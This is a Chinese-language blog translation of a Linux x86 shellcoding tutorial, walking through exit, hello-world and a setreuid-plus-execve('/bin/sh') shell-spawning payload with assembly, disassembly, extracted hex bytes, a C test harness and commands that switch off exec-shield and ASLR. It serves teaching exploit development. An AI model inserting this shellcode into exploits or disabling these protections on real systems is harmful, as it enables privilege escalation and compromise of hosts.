Linux Shellcoding学习

翻译自:http://www.vividmachines.com/shellcode/shellcode.html

1. 什么是Shellcoding.

在计算机安全领域,shellcoding字面意思是编写可以返回远程shell的代码。如今shellcode的含义已经扩展了,现在指一切可以被插入到漏洞利用(Exploit)中执行特定功能的字节码。
2. 网络有成千上万shellcode,为什么我要自己写?
是的,你说的没错,网上确实有很多现成的资源。Metasploit 似乎提供的是最好的。写Exploit非常困难。但如果所有资源都无法使用,怎么办。还得需要自己写。幸运的是,这篇教程可以提供入门教程。
3. 我需要有什么基础
有x86汇编、C语言基础,会使用Linux操作系统。
4. windows shellcode和linux shellcode有什么不同
Linux提供了一个通过int 0×80接口来与内核直接相结合的方法.可以在http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html中找到完整的linux系统调用表或在系统中查看:cat /usr/include/i386-linux-gnu/asm/unistd_32.h。
windows没有一个直接的内核接口。系统必须通过加载函数地址来相结合,它需要从一个动态链接库中被执行。
两种系统的关键不同点事实上在于windows中的函数地址在一个系统版本和另一个系统版本中的变化,因为int 0×80系统调用号是恒定的。
Windows程序员这样做以致于他们可以不会为了任何内核需要的改变而争论。
Linux相反,已经固定了所有内核级函数的计算系统,并且如果他们要改变,将会激怒无数程序员,导致大量代码运行出错。
5. shellcode为什么不能有空字节,普通程序可以有很多空字节。
shellcode不是普通的程序。shencode一般是作为字符串插入到其他程序中,而字符串以null作为结束标志。如果shellcode有空字符,就无法执行全部的shellcode,导致错误。
6. 为什么我写的shellcode直接运行会崩溃。
大多数保护shellcode的代码都有类似的自我修改功能。我们运行的操作系统处于保护模式。可执行程序的代码段是只读的。所以我们需要将shellcode程序复制到主程序的堆栈段才能运行。
7. 为什么我的代码仍然出现段错误(segment fault)?
可能你的操作系统的栈段地址是随机分配的,或采取了保护机制防止你在栈段执行代码。各个Linux系统出现的问题不一样,下面是Fedora的解决方案:
echo 0 > /proc/sys/kernel/exec-shield   #turn it off
echo 0 > /proc/sys/kernel/randomize_va_space #turn it off
echo 1 > /proc/sys/kernel/exec-shield   #turn it on
echo 1 > /proc/sys/kernel/randomize_va_space #turn it on

编写环境:
1. 基于x86系统,使用32位通用寄存器:eax,ebx,ecx,edx
2. AH,BH,CH,DH使用通用寄存器的高16位
3. AL,BL,CL,DL使用通用寄存器的低16位
4. ESI和EDI用于Linux syscalls
5. syscalls最多使用6个参数,用通用寄存器传递
6. xor eax,eax是将寄存器清零的最好方法(会避免邪恶的NULL字节)


工具:
gcc
nasm
ld
objdump


可选工具:
odfhex.c: 借助("objdump -d")将shellcode转换为十六进制字符串

使用的另外一个工具提取:

objdump -d ./<strong><span style="color:#ff0000;">exiter</span></strong>|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

shellcodetest.c: 测试shellcode的代码

正文:
Linux Shellcoding
测试shellcode的最好方法是将其插入到程序中运行。测试代码如下:

/*shellcodetest.c*/
//源代码有问题,这是修改后的
#include<stdio.h>
#include<string.h>

unsigned char code[]="your shell code";
main()
{
        printf("Shellcode Length: %d\n",strlen(code));
        int (*ret)()=(int(*)())code;
        ret();
}

例1: 退出功能的shellcode-先学会逃跑

下面是最简单的shellcode,调用exit syscall,实现退出功能。
注意:清零使用xor eax,eax,而不是mov eax,0,一方面效率高,最重要的是避免null字符。

;exit.asm
[SECTION .text]
global _start
_start:
        xor eax, eax       ;exit()函数 编号为1
        mov al, 1       ;exit is syscall 1
        xor ebx,ebx     ;返回值为0
        int 0x80

下面是编译提取字节码的步骤:

steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter

exiter:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       b0 01                   mov    $0x1,%al
 8048082:       31 db                   xor    %ebx,%ebx
 8048084:       cd 80                   int    $0x80

提取十六进制字符串:

objdump -d ./exiter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

修改shellcodetest.c中的code: code[]="\xb0\x01\x31\xdb\xcd\x80";
编译: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
运行: ./shellcode。
Shellcode Length: 8
现在,我们编写了第一个shellcode。你可以跟踪调试,确保它正确运行。

例2: Hello World Shellcoding-获取字符串地址

接下来的例子,我们实现点有用的功能:如何使代码在运行期间加载字符串的地址。这是非常重要的,因为shellcode运行在不确定的环境中,字符串的地址是未知的,因为shellcode不是运行在正常的栈段。
下面是汇编代码:

;hello.asm
[SECTION .text]

global _start

_start:

        jmp short ender

        starter:

        xor eax, eax    ;寄存器清零
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al, 4       ;调用write()函数
        mov bl, 1       ;stdout 的文件描述符为1
        pop ecx         ;巧妙利用call指令,从栈顶获取字符串地址
        mov dl, 5       ;字符串长度
        int 0x80

        xor eax, eax
        mov al, 1       ;调用exit(),退出shellcode,返回值为0
        xor ebx,ebx
        int 0x80

        ender:
        call starter	;call会将字符串地址压入栈,再跳转到starter,call=push jmp
        db 'hello
编译提取shellcode的十六进制代码:(参照例1步骤)

steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello
hello:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 19                   jmp    804809b 

08048082 <starter>:
 8048082:       31 c0                   xor    %eax,%eax
 8048084:       31 db                   xor    %ebx,%ebx
 8048086:       31 d2                   xor    %edx,%edx
 8048088:       31 c9                   xor    %ecx,%ecx
 804808a:       b0 04                   mov    $0x4,%al
 804808c:       b3 01                   mov    $0x1,%bl
 804808e:       59                      pop    %ecx
 804808f:       b2 05                   mov    $0x5,%dl
 8048091:       cd 80                   int    $0x80
 8048093:       31 c0                   xor    %eax,%eax
 8048095:       b0 01                   mov    $0x1,%al
 8048097:       31 db                   xor    %ebx,%ebx
 8048099:       cd 80                   int    $0x80

0804809b <ender>:
 804809b:       e8 e2 ff ff ff          call   8048082 
 80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65
在shellcodetest中,修改code[]:
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
              "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
现在编译运行shellcodetest.c,会获取字符串地址,调用stdout输出字符,并推出返回值为0。
下面一个例子,我们将编写一个获取shell的shellcode.

例3: 获取shell

这个例子综合运用了我们前面所学的知识,它尝试获取root权限如果被降权,并获得一个shell
我们所使用的系统函数:
execve (const char *filename, const char** argv, const char** envp);
第二个和第三个是指针的指针。所以我将"/bin/sh"的地址放在数据内存中,然后把地址的地址传递给函数。指针最终所指示的就是“/bin/sh"字符串。
下面是shellcode的汇编代码:
;shellex.asm
[SECTION .text]

global _start


_start:
        xor eax, eax
        mov al, 70              ;setreuid is syscall 70
        xor ebx, ebx
        xor ecx, ecx
        int 0x80

        jmp short ender

        starter:

        pop ebx                 ;弹出栈顶的字符串地址,付给ebx
        xor eax, eax

        mov [ebx+7 ], al        ;put a NULL where the N is in the string
        mov [ebx+8 ], ebx       ;将AAAA字符替换为字符串的地址
        mov [ebx+12], eax       ;将BBBB字符替换为null
        mov al, 11              ;execve 系统编号位 11
        lea ecx, [ebx+8]        ;字符串地址
        lea edx, [ebx+12]       ;传递空字符地址
        int 0x80                ;调用execve,获取到shell!

        ender:
        call starter
        db '/bin/shNAAAABBBB'
编译提取shellcode的十六进制字符串:
steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex

shellex:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       b0 46                   mov    $0x46,%al
 8048084:       31 db                   xor    %ebx,%ebx
 8048086:       31 c9                   xor    %ecx,%ecx
 8048088:       cd 80                   int    $0x80
 804808a:       eb 16                   jmp    80480a2 

0804808c :
 804808c:       5b                      pop    %ebx
 804808d:       31 c0                   xor    %eax,%eax
 804808f:       88 43 07                mov    %al,0x7(%ebx)
 8048092:       89 5b 08                mov    %ebx,0x8(%ebx)
 8048095:       89 43 0c                mov    %eax,0xc(%ebx)
 8048098:       b0 0b                   mov    $0xb,%al
 804809a:       8d 4b 08                lea    0x8(%ebx),%ecx
 804809d:       8d 53 0c                lea    0xc(%ebx),%edx
 80480a0:       cd 80                   int    $0x80

080480a2 :
 80480a2:       e8 e5 ff ff ff          call   804808c 
 80480a7:       2f                      das
 80480a8:       62 69 6e                bound  %ebp,0x6e(%ecx)
 80480ab:       2f                      das
 80480ac:       73 68                   jae    8048116 
 80480ae:       58                      pop    %eax
 80480af:       41                      inc    %ecx
 80480b0:       41                      inc    %ecx
 80480b1:       41                      inc    %ecx
 80480b2:       41                      inc    %ecx
 80480b3:       42                      inc    %edx
 80480b4:       42                      inc    %edx
 80480b5:       42                      inc    %edx
 80480b6:       42                      inc    %edx
在shellcodetest.c中修改code[]:
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
     "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
     "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
     "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
     "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
这段代码被插入到exploit中运行会获取一个shell,展示了写一个成功的shellcode所必需的步骤.但是要知道,一个人越擅长汇编,它就
能编写出更强大,更稳定也是更邪恶的代码。shellcode往往需要加密,最好有多态功能,这需要你有更好的汇编能力。

即将推出Linux汇编语言与Shellcoding课程,敬请关注!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值